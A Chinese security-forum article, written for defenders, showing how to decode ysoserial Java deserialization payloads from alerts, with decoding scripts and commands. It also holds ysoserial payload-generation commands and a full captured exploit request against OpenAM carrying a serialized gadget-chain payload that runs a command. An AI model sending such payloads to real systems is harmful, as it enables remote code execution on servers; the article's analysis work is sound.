<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment,.hljs-variable{color:green}.hljs-built_in,.hljs-keyword{color:#00f}.hljs-string{color:#a31515}.hljs-meta{color:#2b91af}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h2{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">一种 ysoserial.jar 反序列化Payload的解码</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
ysoserial大家平时多用于生成Payload,但是作为蓝队,我们更多的是想法子去解码Payload!
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>0x00 前言
|
||||
-------
|
||||
|
||||
小伙伴在分析告警的时候,发现反序列化告警,Payload类似`AKztAA`,不知道咋解,于是有了本文。
|
||||
|
||||
0x01 文件头
|
||||
--------
|
||||
|
||||
开始之前,先来复习一些涉及到的一些文件头
|
||||
|
||||
以`rO0AB`开头,java序列化base64编码的数据
|
||||
以`aced`开头,java序列化的16进制
|
||||
以上两个,都可以用 <https://github.com/phith0n/zkar> 和https://github.com/NickstaDB/SerializationDumper 去解析
|
||||
|
||||
以`cafebabe`开头,java class文件的16进制,保存成class,拖到idea中反编译
|
||||
|
||||
有了这些文件头信息,下面就可以开始用ysoserial.jar生成Payload了
|
||||
|
||||
0x02 原始payload
|
||||
--------------
|
||||
|
||||
生成Payload
|
||||
|
||||
```bash
|
||||
java -jar ysoserial.jar Click1 "touch /tmp/xx" > raw_payload.bin
|
||||
```
|
||||
|
||||

|
||||
|
||||
查看生成的Payload的十六进制
|
||||
|
||||
```bash
|
||||
hexdump -C raw_payload.bin
|
||||
```
|
||||
|
||||

|
||||
|
||||
显然,以`aced`开头,java序列化的16进制,使用`zkar解析`
|
||||
|
||||
```bash
|
||||
./zkar dump -f raw_payload.bin > raw_payload_decode.txt
|
||||
```
|
||||
|
||||
然后查看生成的文件,应该可以找到下图:
|
||||
|
||||

|
||||
|
||||
以`cafebabe`开头,java class文件的16进制,保存成class,拖到idea中反编译即可。
|
||||
|
||||
0x03 编码替换的Payload
|
||||
-----------------
|
||||
|
||||
我们在日常分析的时候,java反序列化的漏洞,可能看到的是下面的`AKztAAV`开头的Payload,对于这类Payload的解码流程,基本上就是先补等号,替换`_`和`-`为`/`和`+`,然后base64解码,跳过开头的空字符,最后的结果丢给zkar解析就行。如果zkar解析出来有看到`ca fe`开头的十六进制,就把它提取出来,保存成class文件,最后将class文件丢给idea反编译,即可看到攻击者最终想要执行的命令了。有点乱?没关系,下面我们会一步步分析。
|
||||
|
||||

|
||||
|
||||
这种Payload 一般执行如下命令:
|
||||
|
||||
```bash
|
||||
java -jar ysoserial.jar Click1 "touch /tmp/xx" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
|
||||
```
|
||||
|
||||
命令的意思是,使用`ysoserial.jar`生成一个指定`Click1`这个gadget 去执行`touch /tmp/xx`命令的序列化的Payload,然后在该Payload的前面插入一个空字节(`\x00`),之后对其进行base64编码,编码后的内容,将`/` 替换为 `_`,和 `+` 替换为 `-`,最后将`=`去掉。
|
||||
|
||||
&gt; 替换`/`和`+`是因为 base64 编码的输出可能包含 `/` 和 `+` 字符,这些字符在 URL 中有特殊含义,因此需要替换成其他字符以避免问题。
|
||||
|
||||
拆开如下:
|
||||
|
||||
```bash
|
||||
java -jar ysoserial.jar Click1 "touch /tmp/xx" > raw_payload.bin
|
||||
cat raw_payload.bin | (echo -ne \\x00 && cat) > raw_payload_00.bin
|
||||
cat raw_payload_00.bin | base64 > raw_payload_00_base64.bin
|
||||
cat raw_payload_00_base64.bin | tr '/+' '_-' | tr -d '=' > raw_payload_00_base64_replace.bin
|
||||
```
|
||||
|
||||
因此,我们反着来,即可一步步还原,先处理第四步,替换和等号的问题,等号需要根据字符串长度补充
|
||||
|
||||
```bash
|
||||
cat raw_payload_00_base64_replace.bin | tr '_-' '/+' > restore_raw_payload_00_base64_replace_lack_equal.bin
|
||||
```
|
||||
|
||||
然后执行下面的shell脚本
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
file_content=$(cat restore_raw_payload_00_base64_replace_lack_equal.bin)
|
||||
|
||||
# 移除可能存在的换行符
|
||||
base64_string=$(echo -n "$file_content" | tr -d '\n')
|
||||
|
||||
# 计算base64编码字符串长度
|
||||
length=${#base64_string}
|
||||
|
||||
# 计算需要补充的等号数量
|
||||
remainder=$((length % 4))
|
||||
padding=$(((4 - remainder) % 4))
|
||||
|
||||
# 补充等号
|
||||
if ((padding &gt; 0)); then
|
||||
padding_string=$(printf '=%.0s' $(seq 1 $padding))
|
||||
base64_string="$base64_string$padding_string"
|
||||
fi
|
||||
|
||||
echo "$base64_string"
|
||||
```
|
||||
|
||||
```bash
|
||||
./add_equal.sh > restore_raw_payload_00_base64_replace.bin
|
||||
```
|
||||
|
||||
这时候我们可以比对一下,看看是否还原成功
|
||||
|
||||

|
||||
|
||||
接下来开始还原第三步,base64解码即可:
|
||||
|
||||
```bash
|
||||
cat restore_raw_payload_00_base64_replace.bin | base64 -d > restore_raw_payload_00.bin
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后是第二步,跳过开头的空字节:
|
||||
|
||||
```bash
|
||||
tail -c +2 restore_raw_payload_00.bin > restore_raw_payload.bin
|
||||
```
|
||||
|
||||

|
||||
|
||||
最后就是拿过去让`zkar`解析了,这里不再重复了
|
||||
|
||||
0x04 实战
|
||||
-------
|
||||
|
||||
拿到攻击者的请求:
|
||||
|
||||
```bash
|
||||
GET /openam/oauth2/..;/ccversion/Version?jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAa1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAH3BpbmcgLW4gNCAtbCAxMjU1NCAxMC4yMDAuMzAuMTUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMjI3NDgxMDI2MjI4NDgBACBMeXNvc2VyaWFsL1B3bmVyMjIyNzQ4MTAyNjIyODQ4OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAE